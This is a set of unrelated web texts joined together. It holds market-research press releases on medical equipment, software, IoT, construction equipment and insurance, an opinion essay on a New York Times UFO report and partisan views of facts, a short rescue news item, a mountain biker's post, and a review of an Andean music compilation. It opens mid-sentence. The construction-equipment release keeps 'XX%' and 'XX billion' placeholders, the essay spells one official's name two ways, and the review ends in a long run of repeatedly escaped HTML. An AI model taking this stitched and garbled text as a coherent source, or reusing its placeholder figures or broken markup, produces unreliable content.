chairs, respiratory devices, and others.Regional Analysis of Middle-East and Africa Durable Medical Equipment (DME) Market:Considering the Middle-East and Africa Durable Medical Equipment market scenario, Saudi Arabia is believed to be the largest market. Moreover UAE market is also growing and is the second largest market for DME in ME&A region. On the other hand, Egypts market is expected to grow at a steady pace in the Middle-East and Africa Durable Medical Equipment market during the forecasted period. Rest of the Middle East and Africa region is likely to have a limited but steady growth of the market till 2022.Table of Content:1. Report Prologue2. Introduction3. Research Methodology4. Market Dynamics5. Market Factor Analysis6. Middle-East and Africa Durable Medical Equipment (DME) Market by Type7. Middle-East and Africa Durable Medical Equipment (DME) Market by End User8. Middle-East and Africa Durable Medical Equipment (DME) Market by RegionGet Discount @At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.Akash Anand,Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.com
Cardiac Imaging Software Market Perceives Heavy Growth with a Substantial CAGR of ~9.0 % by 2023

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Cardiac imaging software, a type of application software, is a part of a cardiac imaging device that consists of data or instructions. The Global Cardiac Imaging Software Market is expected to grow at a CAGR of ~9.0 % during the forecast period 2017-2023.During the last decade, there has been a significant increasing in the number of patients suffering from diabetes, heart disease, stroke among others which has increased the demand for cardiac monitors across the globe. Heart diseases and cardiovascular diseases are the leading causes of deaths across the globe. The cardiac imaging software market growth is majorly attributed due to increasing prevalence of heart diseases and diabetes.Get a Sample Report @Cardiovascular diseases is one of the major reasons for heart diseases. According to the WHO, over 422 million people across the globe are suffering from diabetes. An increasing number of patients suffering from diabetes and other cardiovascular disease will fuel the growth of the market. Many government organizations and private companies are providing funds to the cardiac imaging software developers to improve its features. Increasing government support, increasing applications of computer-aided diagnosis and development of healthcare IT in healthcare industries will provide a push to the growth of the market. However, the manufacturers have to follow strict regulatory rules which may slow the growth of the market.Key PlayersSome of key the players in the market are Koninklijke Philips N.V. (the Netherlands), Siemens Healthineers (Germany), Toshiba Corporation (Japan), Shimadzu Corporation (Japan), Agfa healthcare (U.S.), TOMTEC IMAGING SYSTEMS GMBH (Germany), Circle Cardiovascular Imaging Inc. (U.S.), CardioComm Solutions Inc. (Canada), Integer Holdings Corporation (U.S.), Pie Medical Imaging (the Netherland), and HeartSciences (U.S.)Regional AnalysisThe Americas dominate the global cardiac imaging software market owing to the increasing demand for the cardiac monitoring devices, presence of huge patient population and advancements in the technology sector. A number of public- and private- organizations are investing in the cardiac imaging market. Availability of funds, technological advancements in medical imaging systems, and increasing demand for the compare aided diagnostic methods has driven the growth of the market. Additionally, well developed technology, high healthcare expenditure, and huge geriatric population have fuelled the growth of the market in this region. However, saturation of the market in this region may slow the growth of the market in America.Europe commands the second largest market for cardiac imaging software which is followed by Asia Pacific. Availability of funds, strong government support, and increasing need for better management devices & platform drives the growth of the market in Europe. The Western Europe commands a major share of the market owing to the presence of well developed economies.Order Single User License Copy of 85 Premium Pages is Available @Asia Pacific is the fastest growing cardiac imaging software market owing to the increasing number of patients suffering from cardiac diseases and rapidly increasing demand for the cardiac imaging devices. Additionally, rapidly growing economies and increasing healthcare expenditure will fuel the growth of the market. Majority of the countries in Asia Pacific are supporting the manufacturers for the development of advanced software. On the other hand, the Middle East & Africa hold the least share of the market owing to less availability of funds, limited availability of medical facilities, and poor political conditions in Africa.Brief TOCChapter 1. Report PrologueChapter 2. Market IntroductionChapter 3. Research MethodologyChapter 4. Market DynamicsChapter 5. Market Factor AnalysisChapter 6. Global Cardiac Imaging Software Market, by Imaging ModalityChapter 8. Global Cardiac Imaging Software Market, by End UserChapter 9. Global Cardiac Imaging Software Market, by RegionChapter 10 Company LandscapeChapter 11 Company ProfilesChapter 12 MRFR ConclusionChapter 13 AppendixAsk to Expert @About US:Market Research Future (MRFR), enable customers to unravel the complexity of various industries through Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.Contact:Akash Anand,Market Research Future+1 646 845 9312Email: sales@marketresearchfuture.com
Internet of Nano Things Industry Size, Trends, Growth, Analysis and Forecast Report 2017-2025

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Technological development is shrinking sensors from millimeters and microns to the nanometer scale, very tiny in size to circulate it within living bodies or to directly mix it into construction materials. Nano scale technology is enabling the development of devices as small as one to a few hundred nanometers.The report aims to provide an overview of global Internet of Nano things market with detailed market segmentation by component, connectivity network, application and geography. The global Internet of Nano things market is expected to witness high growth during the forecast period. Nano technology features such as convenience and seamless deployment, and ultra-low power consumption will boost the market growth in near future.Worldwide Internet of Nano Things Market Analysis to 2025 is a specialized and in-depth study of the Internet of Nano Things industry with a focus on the global market trend. The report aims to provide an overview of global Internet of Nano Things market with detailed market segmentation by product/application and geography. The global Internet of Nano Things market is expected to witness high growth during the forecast period. The report provides key statistics on the market status of the Internet of Nano Things players and offers key trends and opportunities in the market.Request a Sample Report atInternet of Nano Things Market PlayersAlcatel-Lucent SACisco Systems, Inc.Gemalto N.V.Huawei Technologies Co. Ltd.IBM CorporationIntel CorporationJuniper Networks, Inc.Qualcomm IncorporatedSAP SESiemens AGThe report provides a detailed overview of the industry including both qualitative and quantitative information. It provides overview and forecast of the global Internet of Nano Things market based on product and application. It also provides market size and forecast till 2025 for overall Internet of Nano Things market with respect to five major regions, namely; North America, Europe, Asia-Pacific (APAC), Middle East and Africa (MEA) and South America (SAM), which is later sub-segmented by respective countries and segments. The report evaluates market dynamics effecting the market during the forecast period i.e., drivers, restraints, opportunities, and future trend and provides exhaustive PEST analysis for all five regions.Also, key Internet of Nano Things market players influencing the market are profiled in the study along with their SWOT analysis and market strategies. The report also focuses on leading industry players with information such as company profiles, products and services offered, financial information of last 3 years, key development in past five years.Reason to Buy- Highlights key business priorities in order to assist companies to realign their business strategies.- The key findings and recommendations highlight crucial progressive industry trends in the Internet of Nano Things market, thereby allowing players to develop effective long term strategies.- Develop/modify business expansion plans by using substantial growth offering developed and emerging markets.- Scrutinize in-depth global market trends and outlook coupled with the factors driving the market, as well as those hindering it.- Enhance the decision-making process by understanding the strategies that underpin commercial interest with respect to products, segmentation and industry verticals.View Complete Report atContact Us:Call: +1-646-491-9876Email: sales@theinsightpartners.comThe Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Media, and Telecommunication industries.533, 5th floor, Amanora Township,Amanora Chambers, East Block,Kharadi Road, Hadapsar, Pune-411028
IoT at Workplace Market Segmentation, Application, Technology & Market Analysis Research Report to 2025

The Insight Partners

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Introduction of Internet of Things (IoT) at workplace is making it digital, with interactions and experiences offered to large number of users across a variety of locations, time, and devices. IoT at workplace helps improve employee satisfaction by providing a consumer style experience supported by analytics, automation, self-service and profile based support. There's an increasing use of beacons, sensors, and other smart devices that collect data to automate manufacturing, streamline operations, and improve user experiences.The report aims to provide an overview of global IoT at workplace market with detailed market segmentation by device, connectivity and geography. Being an emerging concept, global IoT at workplace market is expected to witness high growth during the forecast period.Worldwide IoT at Workplace Market Analysis to 2025 is a specialized and in-depth study of the IoT at Workplace industry with a focus on the global market trend. The report aims to provide an overview of global IoT at Workplace market with detailed market segmentation by product/application and geography. The global IoT at Workplace market is expected to witness high growth during the forecast period. The report provides key statistics on the market status of the IoT at Workplace players and offers key trends and opportunities in the market.Request a Sample Report atIoT at Workplace Market Players:ABB Ltd.Cisco Systems, Inc.Crestron ElectronicsHoneywell InternationalJohnson ControlsKoninklijke Philips N.VLutron ElectronicsSchneider ElectricSiemens AGTelkom SA Soc Ltd.The report provides a detailed overview of the industry including both qualitative and quantitative information. It provides overview and forecast of the global IoT at Workplace market based on product and application. It also provides market size and forecast till 2025 for overall IoT at Workplace market with respect to five major regions, namely; North America, Europe, Asia-Pacific (APAC), Middle East and Africa (MEA) and South America (SAM), which is later sub-segmented by respective countries and segments. The report evaluates market dynamics effecting the market during the forecast period i.e., drivers, restraints, opportunities, and future trend and provides exhaustive PEST analysis for all five regions.Also, key IoT at Workplace market players influencing the market are profiled in the study along with their SWOT analysis and market strategies. The report also focuses on leading industry players with information such as company profiles, products and services offered, financial information of last 3 years, key development in past five years.Reason to Buy- Highlights key business priorities in order to assist companies to realign their business strategies.- The key findings and recommendations highlight crucial progressive industry trends in the IoT at Workplace market, thereby allowing players to develop effective long term strategies.- Develop/modify business expansion plans by using substantial growth offering developed and emerging markets.- Scrutinize in-depth global market trends and outlook coupled with the factors driving the market, as well as those hindering it.- Enhance the decision-making process by understanding the strategies that underpin commercial interest with respect to products, segmentation and industry verticals.View Complete Report atContact Us:Call: +1-646-491-9876Email: sales@theinsightpartners.comThe Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Media, and Telecommunication industries.533, 5th floor, Amanora Township,Amanora Chambers, East Block,Kharadi Road, Hadapsar, Pune-411028
North America: Heavy Construction Equipment Market Size, Status and Forecast 2027: By Product, Application, Manufacturer, Sales and Segmentation

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Article Brief:This article provides an overview of the North America: Heavy Construction Equipment Market: Industry Analysis & Forecast to 2027, there by offering insights on key present growth indicators and forecast indicators such as drivers, restrains, opportunities and trends that are involved in shaping the market.North America: Heavy Construction Equipment Market: IntroductionThe discovery of heavy equipment has proven to be backbone for construction industry. Since last decade, the construction companies have grown tremendously after coming into the existence of heavy construction equipment. The actual reason behind this invention was reducing the labor cost and time. The heavy construction equipmentare majorly used in the operations of earthmoving, transportation, lifting, and material handling and so on. North America has already proven itself a big giant in construction industry and has been a major market for this industry.Considering North America, the US and Canada will be the key forecasting areas.Growing industries such as oil and gas, manufacturing, mining, military etc. has been a major source of revenues to the construction industries since they start using of heavy equipment. The global Heavy Construction Equipment Market has expected to grow at a CAGR of XX% from 2016 to 2027.Market Growth InfluencerNorth America is considered to be a matured economy in terms of construction industry and considered to be the second largest market in construction industry. Because of the tag of emerged economy and high disposable income North America has become a matured market for construction industry and generated the revenue of about XX billion US dollars which is quiet impressive.The US has propelled to be a growing market because of the huge investment in the real estate sector. Since decade, there has been a huge demand coming from commercial as well as residential segment. Considering commercial purpose, the US government has taken initiative to increase the construction of dams, airports, roads and bridges which has become a major revenue generation for construction industries.Followed by the US, Canada is considered to be the matured market for heavy construction equipment. As the countrys market condition is very sound and huge investment has taken place since decade.For Sample Request @North America: Heavy Construction Equipment Market: Market SegmentationFor the purpose of this study, Market Research Future has segmented the North America: Heavy Construction equipment Market into type, applications and by end users.On the basis of types, the North America: Heavy Construction equipment Market in classified into Earthmoving Equipment Material Handling Equipment Heavy Construction Vehicles Others (Cranes, Excavator, Dozer)On the basis of applications, the North America: Heavy Construction equipment Market in classified into Mining & Excavation Earthmoving Transportation Lifting Material Handling OthersOn the basis of end users, the North America: Heavy Construction equipment Market in classified into Oil & Gas Industry Construction Industry Military Mining Agriculture & Forestry and OthersSchedule Analyst Call @North America: Heavy Construction Equipment Market: Key PlayersThe prominent players present in the North America: Heavy Construction Equipment Market includeCaterpillar, CNH Global NV, Doosan Infracore Ltd, JCB, Hyundai Heavy Industries Ltd, Hitachi Construction Machinery Co. Ltd (HCM), Kobelco Construction Machinery Co. Ltd, Komatsu Ltd, Manitou Group, Sany Heavy Industries Co. Ltd, Sumitomo Heavy Industries Ltd, Volvo Construction, Terex Corporation, Xuzhou Construction Machinery Group and among Others.Market Research Future introduces about the North America: Heavy Construction Equipment Market during the forecast period forecast to 2027 which mainly includes the growth drivers, trends and restraints and how the market will grow in the future across the globe. In this report,Market Research Future has focused on the current market scenario which includes market segmentation, market dynamics, and competitive landscape along with company profiles.The reports also covers brief analysis of Geographical Region includes:Americas North Americao USo CanadaEvery report of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report also gives a broad study of the different market segments and regions.About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by Components, Application, Logistics and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members.Contact:Market Research FutureOffice No. 524/528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.comAt Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by Components, Application, Logistics and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members.Contact:Market Research FutureOffice No. 524/528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.com
PLC Software 2017 Market Segmentation,Application,Technology & Market Analysis Research Report to 2020

PLC Software Market 2017

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WiseGuyReports.Com Publish a New Market Research Report On - PLC Software 2017 Market Segmentation,Application,Technology & Market Analysis Research Report to 2020.The analysts forecast the global PLC software market to grow at a CAGR of 7.13% during the period 2016-2020.Increased investments in factory and process automation, especially in developing countries like India and China, will lead to steady growth of the PLC software market during the forecast period. We expect the market to register a high growth rate due to entrance of multiple software vendors offering software that can be easily adapted to by machine operators, technicians, and maintenance engineers. Also, enhanced functionalities offered by software tool vendors, which can integrate the PLC software with the business system software to increase the efficiency of industrial process control, will have a positive influence on market growth in the coming five years.Get a Sample Report @For more information or any query mail at sales@wiseguyreports.comCovered in this reportThe report covers the present scenario and the growth prospects of the global PLC Software market for 2016-2020. To calculate the market size, the report considers the revenue generated from sales and aftermarket services of PLC software.The market is divided into the following segments based on geography: Americas APAC EMEAThe report, Global PLC Software Market 2016-2020, has been prepared based on an in-depth market analysis with inputs from industry experts. The report covers the market landscape and its growth prospects over the coming years. The report also includes a discussion of the key vendors operating in this market.Key vendors Mitsubishi Electric Rockwell Automation Schneider Electric SiemensOther prominent vendors ABB Beckhoff Bosch Rexroth GE Honeywell International IDEC HitachiMarket driver Increased capital investment in factory automation For a full, detailed list, view our reportMarket challenge Cybersecurity risks For a full, detailed list, view our reportMarket trend Technological advancements in features and functionalities of PLC For a full, detailed list, view our reportKey questions answered in this report What will the market size be in 2020 and what will the growth rate be? What are the key market trends? What is driving this market? What are the challenges to market growth? Who are the key vendors in this market space? What are the market opportunities and threats faced by the key vendors? What are the strengths and weaknesses of the key vendors?Ask Query @Table Of Contents  Major Key PointsPART 01: Executive summary HighlightsPART 02: Scope of the report Market overview Top-vendor offerings Other prominent vendorsPART 03: Automation industry value chainPART 04: Market research methodology Research methodology Economic indicatorsPART 05: Introduction Key market highlightsPART 06: Market landscape Five forces analysisPART 07: Market segmentation by type Global PLC software market by ladder logic Global PLC software market by FBD Global PLC software market by othersPART 08: Geographical segmentation PLC software market in APAC PLC software market in EMEA PLC software market in the AmericasPART 09: Market driversPART 10: Impact of driversPART 11: Market challengesPART 12: Impact of drivers and challengesPART 13: Market trendsPART 14: Vendor landscape Competition overview Mitsubishi Electric Rockwell Automation Schneider Electric Siemens Competition financialsContinue.Buy 1-User PDF @For more information or any query mail at sales@wiseguyreports.comABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.Office No.528,Amanora Chambers,Magarpatta Road,Hadapsar,Pune-411028.
Property Insurance Industry to 2020 : Market Capacity, Generation, Investment Trends, Regulations and Opportunities

Property Insurance Market

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WiseGuyReports.Com Publish a New Market Research Report On - Property Insurance Industry to 2020 : Market Capacity, Generation, Investment Trends, Regulations and Opportunities.The analysts forecast the global property insurance market to grow at a CAGR of 5.6% during the period 2016-2020.A property insurance policy covers any loss or damage to personal or commercial property. It also insures against loss or damage to the contents that are kept on the property and are under the control of the customers. However, if the property is given on rent or lease, the owner is expected to take appropriate insurance by the terms of the lease or contract. The more kind of loss the policy covers, the higher the premium.Get a Sample Report @For more information or any query mail at sales@wiseguyreports.comCovered in this reportThe report covers the present scenario and the growth prospects of the global property insurance market for 2016-2020. To calculate the market size, the report considers two types of property insurance premium: personal and commercial.The market is divided into the following segments based on geography: Americas APAC EMEAThe report, Global Property Insurance Market 2016-2020, has been prepared based on an in-depth market analysis with inputs from industry experts. The report covers the market landscape and its growth prospects over the coming years. The report also includes a discussion of the key vendors operating in this market.Key vendors Allstate Insurance American International Group (AIG) Berkshire Hathaway Homestate Liberty MutualOther prominent vendors State Farm Fire & Casualty Co. Nationwide Mutual Insurance Co. Farmers Insurance Group of Companies Chubbs Federal Insurance Co. CAN Financial Corp.s Continental Casualty Company Wells Fargo Munich Re Zurich Insurance Group AXA LloydsMarket driver Risk management tools For a full, detailed list, view our reportMarket challenge Effect of pricing and rating system For a full, detailed list, view our reportMarket trend Data analytics and predictive modeling strategy For a full, detailed list, view our reportKey questions answered in this report What will the market size be in 2020 and what will the growth rate be? What are the key market trends? What is driving this market? What are the challenges to market growth? Who are the key vendors in this market space? What are the market opportunities and threats faced by the key vendors? What are the strengths and weaknesses of the key vendors?Ask Query @Table Of Contents  Major Key PointsPART 01: Executive summary HighlightsPART 02: Scope of the report Market overview Top-vendor offeringsPART 03: Market research methodology Research methodology Economic indicatorsPART 04: Introduction Key market highlightsPART 05: Market landscape Market overview Market size and forecastPART 06: Market segmentation by property Market overview Personal property insurance Commercial property insurancePART 07: Geographical segmentation Geographical segmentation EMEA Americas APACPART 08: Market driversPART 09: Impact of driversPART 10: Market challengesPART 11: Impact of drivers and challengesPART 12: Market trendsPART 13: Vendor landscape Competitive landscape Major company overview Other prominent vendors Recent developments Key takeawaysContinue.Buy 1-User PDF @For more information or any query mail at sales@wiseguyreports.comABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.Office No.528,Amanora Chambers,Magarpatta Road,Hadapsar,Pune-411028.
Over the weekend, the New York Times and Politico reported that the U.S. military ran a top-secret UFO program between 2007 and 2012. The program, a pet project of Democratic Senator Harry Reid, received about $22 million from the Pentagons secret black money budget before the Defense Department pulled the plug. In its five years, the Advanced Aviation Threat Identification Program (AATIP), parts of which remain classified, investigated unidentified aerial phenomena reported by U.S. military personnel, including a number of pilots. Some of these pilots reported encounters with aircraft that moved in ways and at speeds that seemed to defy the laws of physics, with no visible signs of propulsion or lift, and which were overall more advanced (beyond next-generation) than any craft in any countrys arsenal. In 2009 AATIPs director wrote in his annual Pentagon briefing that what was considered science fiction is now science fact, and that the U.S. couldnt defend itself against these technologies.

Heres an interview with one of those pilots about a 2004 encounter with a white oval object that, in the pilots words, accelerated like nothing Id ever seen. And heres the crazy video the Pentagon released of that encounter.

Now, $22 million is about 0.00036% of the Pentagons $600 billion annual budget, and that $22 million wasnt even the UFO programs annual budget, but rather the sum total for its five years of sanctioned existence. The program is basically in the Pentagons take-a-penny, leave-a-penny tray. And one former senior congressional staffer, speaking of why the program was shuttered, told Politico that After all of that there was really nothing there that we could find. It all pretty much dissolved from that reason aloneand the interest level was losing steam. But according to the reporting, the program directors felt the research was so compelling they kept it going on their own. When its director, a defense intelligence official named Louis Elonzido, retired this October he submitted a letter to Defense Secretary James Mattis in protest of what he saw as the militarys harmful extent of secrecy about the discoveries, asking, Why arent we spending more time and effort on this issue?

And, yeah, hes right: Why hasnt this story led the news cycle for the last five days?

I mean, this isnt the National Enquirer. This is the New York Times, and two of the writers who contributed to the UFO report have won the Pulitzer Prize. Now theyre reporting in a very serious way that there might be aliens. And alien alloys:

Under Mr. Bigelows direction, the company modified buildings in Las Vegas for the storage of metal alloys and other materials that Mr. Elizondo and program contractors said had been recovered from unidentified aerial phenomena. Researchers also studied people who said they had experienced physical effects from encounters with the objects and examined them for any physiological changes.

Heres a video of a Pulitzer Prize-winning reporter saying on television that the U.S. government cant figure out what these alien alloys are and that standing near them might affect you physically:

Oh wait, you mean the Failing New York Times. FAKE NEWS!

We have such a bizarre relationship in this country with facts: Despite the overwhelming scientific evidence to the contrary, people say global warming isnt real, and (despite the overwhelming scientific evidence to the contrary) if it is real its not man-made. Also, despite the overwhelming evidence to the contrary, people say the Russia investigation, which has already yielded not just indictments but guilty pleas from Trump campaign staff, is a witch hunt. And despite the overwhelming scientific evidence to the contrary, people say vaccines will give your kids weird incurable diseases. And despite overwhelming evidence to the contrary, Roy Moore isnt a pedophile.

Those beliefs somehow break down along party lines. Global warming, especially. In no other developed nation is global warming even up for debate: The earth is getting warmer, and its mostly because of people. For some reason, though, our right-wing leadership wont believe the facts. We can disagree about what to do about it, sure, thats political, but facts arent political.

And yet today they are.

But now weve arrived at what would seem like the ultimate fake news test: UFOs. Its a strange report because it sort of turns the tables: Do I, a rational person, accept as true reports that super-rational beings or technologies exist? If I say no, do I change that belief if its presented by a rational source I know and trust?

According to a recent survey, about 54% of Americans believe theres intelligent life out there. About 25% of us dont. Also, one-third of Americans dont believe in climate change, and one-third approve of Donald Trumps job performance.

Does your opinion of the New York Timess political biases have a bearing on whether you credit its UFO report? Okay, what about Fox? Heres a Fox News story from 2009 about the Russian Navys released documentation of UFO encounters, a report which includes this passage:

Military divers in Siberias Lake Baikal, the worlds deepest lake, encountered a group of humanoid creatures dressed in silvery suits at a depth of 160 feet. Three humans died during the ensuing chase.

Reuters? Okay, heres Mexican Air Force footage of a sighting of what appear to be a fleet of UFOs.

Want U.S. government documents? A weird one from the CIA:

Scientists of the PRC and the Soviet Far East have begun joint study of UFOs. The first meeting of ufologists of the two countries has ended in the small maritime townlet of Dalnegorsk. The Soviet and Chinese specialists on anomalous phenomena have mapped out a program for investigating incidents that are already known and have also arranged to directly exchange video and photographic materials on new similar phenomena. Dalnegorsk has not been chosen by chance as the place for such acquaintance. In the last few years the number of cases of visual observation of UFOs has noticeably increased there. In just the last four years alone no less than 10 UFOs have been recorded. Specialists link their heightened interest in places here with the variety and wealth of useful minerals in Maritime Kray. Similar, incidents have also occurred in mountainous regions in China whose climatic conditions and natural landscape resemble our own.

And indeed other countries such as China, Russia, and several northern European nations, take the phenomenon more seriously than the Americans. The Chinese government has embarked on an ambitious project to make first contact, constructing the largest radio dish in the world, twice as big as the U.S. governments dish in its Puerto Rican jungle observatory.

I trust the report because the New York Times is one of the most excellent and reputable institutes of journalism anywhere in the world, and theyre putting that credibility behind a group of people seriously concerned about the presence of alien life here on Earth. Could they be wrong? Of course. And that would make me look like a total idiot for believing them, right? But whats so wrong with being wrong? Theres a lot more wrong with being right.

Honestly, I think very little of our debates over facts and fake news has anything to do with what the facts actually are, or what evidence suggests, or what reality is. A great deal of Americans dont care about the truth in an objective sense, and never have. Those Americans care about the truth because they want to be right and they want other people to be wrong. Weve seen this phenomenon clearly exhibited on an international scale (American exceptionalism), but now it exhibits itself domestically, locally, tribally. The rhetorical power of skepticism is that it affords the skeptic infinite refuge: When it comes to debates like climate change, where right-wingers now have so much of their identity and validity tied to their asinine refusal to believe something that doesnt even require belief, you can never be proved wrong if you dont want to be. You cant prove Roy Moore raped anyone.

Meanwhile the waters rise.

In fact, theres very little in this world that you can prove someone is wrong about. The existence of UFOs, of course, like the existence of god, is a prime example. But whats so interesting about this UFO story is that it challenges not the right-wing skeptics with scientific facts, but it challenges scientific facts themselves. This sort of turns things inside out.

Recent research suggests that the more religious you are, the more likely you are to favor unfalsifiable (unprovable) evidence to explain your faith (such as, the lord works in mysterious ways), as opposed to using empirical evidence (man walked the earth with the dinosaurs). Further, when people with high religiosity feel their beliefs are threatened, this preference for using unprovable evidence intensifies.

Its easy to explain: People are afraid of being wrong and theyre incentivized to be right. Even more interestingly, when the testability of a claim wasnt mentionedwhen people dont know if the evidence if falsifiable or nothighly religious people show no preference between the two types of evidence. Its only when they know theyre using unfalsifiable information that they prefer to use itand especially when threatened.

Can we link this type of belief system to back American conservatism? Sure.

Consider that Republicans (as Trump did at the RNC) call themselves, without irony, the party of Lincoln. How can I be a racist if my party is the party of Lincoln?! Among some conservatives, then, we can see theres a strain of what we might call fake old news that serves no other interest than to delude yourself into believing youre right and liberals are stupid hypocrites. Of course Roy Moore isnt a pedo!

The conservatives cultural role is, in a reductive sense, to stop change from happening too quickly. This means that to be conservative is to always be losing (little by little) but to pretend you never lost. This requires self-delusion.

In the end, no true believers, no matter their belief (UFOs; anti-vaxxers), are particularly concerned with truth. Its about what you can choose to be true. What role can morality play in this new world, when it feels good to be right and it feels bad to be wrong? Its as if reality doesnt matter, as if there are no consequences or changes beyond the feeling of being right, of belonging to a tribe of people that reinforce your ego. This is why Id love to see a poll of reactions to the Timess UFO story broken down along partisan lines, compared to a partisan breakdown of belief in UFOs. It would, Id imagine, look like nothing weve seen.

The truth is out there, after all. But it doesnt seem to matter.
Bystanders rescue man from truck driven into Charlevoix's Round Lake

Several bystanders helped save the life of the driver who ended up in Round Lake in a Nov. 11 incident.
Follow my trip to Rampage through this video. Lots of good times riding and training with my friends the week before the event. On the final day, everything went well, I had a lot of pleasure during my runs and I hope to be back next year to show you more!Photo: Ian CollinsPhoto: Christian PondellaI want to say thank you to my brother Loris and my friend Benoit Gurnel for the help during the trip. Thanks to the whole H5 crew at the event. Also thanks to my sponsors: Scott, Bikepark Chatel, Bos Suspension, Box Components, Vee Tire co, Muc Off, Syncros, OCLU, Hope.
Part of a larger group of companies dedicated to promoting Peruvian culture, Tigers Milk Records partners up with Strut, one of the foremost labels for vintage funk and dance music from across the globe, to release compilation Andina. The 1960s and 70s music from high up in the Peruvian Andes are the tracks collected for Andina and are a lively bunch, quick and catchy, with percussion running rampant behind nimble guitar and piano lines.

Its a far cry from most of Tiger Milks other compilations, funky, tropical outings with more of a psychedelic bent. Here, the air is thin, and the music is dizzying. Each song is characterized by a lot of repetition  a lot of repetition  making it clear that this music is meant less for casual listening and more for serious dancing.

While there is little variation within each song, there is some to be found between songs. After two tracks of happy, midtempo bouncing, instrumental Los Walkers De Huanuco track Todos Vuelven picks up speed and adds a sharper energy to the mix, a definite highlight. Later on, El Lorcho by Los Compadres Del Ande brings in organ and violin; the two instruments hand the lead part back and forth, a seamless relay that adds romance and excitement. Los Bilbao continues in that dramatic vein with Zelenita del Ano 2000, a tight and intricate track that largely stays in one melodic hotspot, a showstopper. Closing the album is Conjunto Kori Cinta De Huancavelicas ethereal Toyascha, a song that climbs the mountain heights and keeps going, rising into the cloud forest canopy.



&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;a href=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;a href=http://strut.bandcamp.com/album/andina-the-sound-of-the-peruvian-andes-1968-1978 target=_blank&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;http://strut.bandcamp.com/album/andina-the-sound-o&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;ANDINA: The Sound Of The Peruvian Andes 1968-1978 by Various Artists&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;



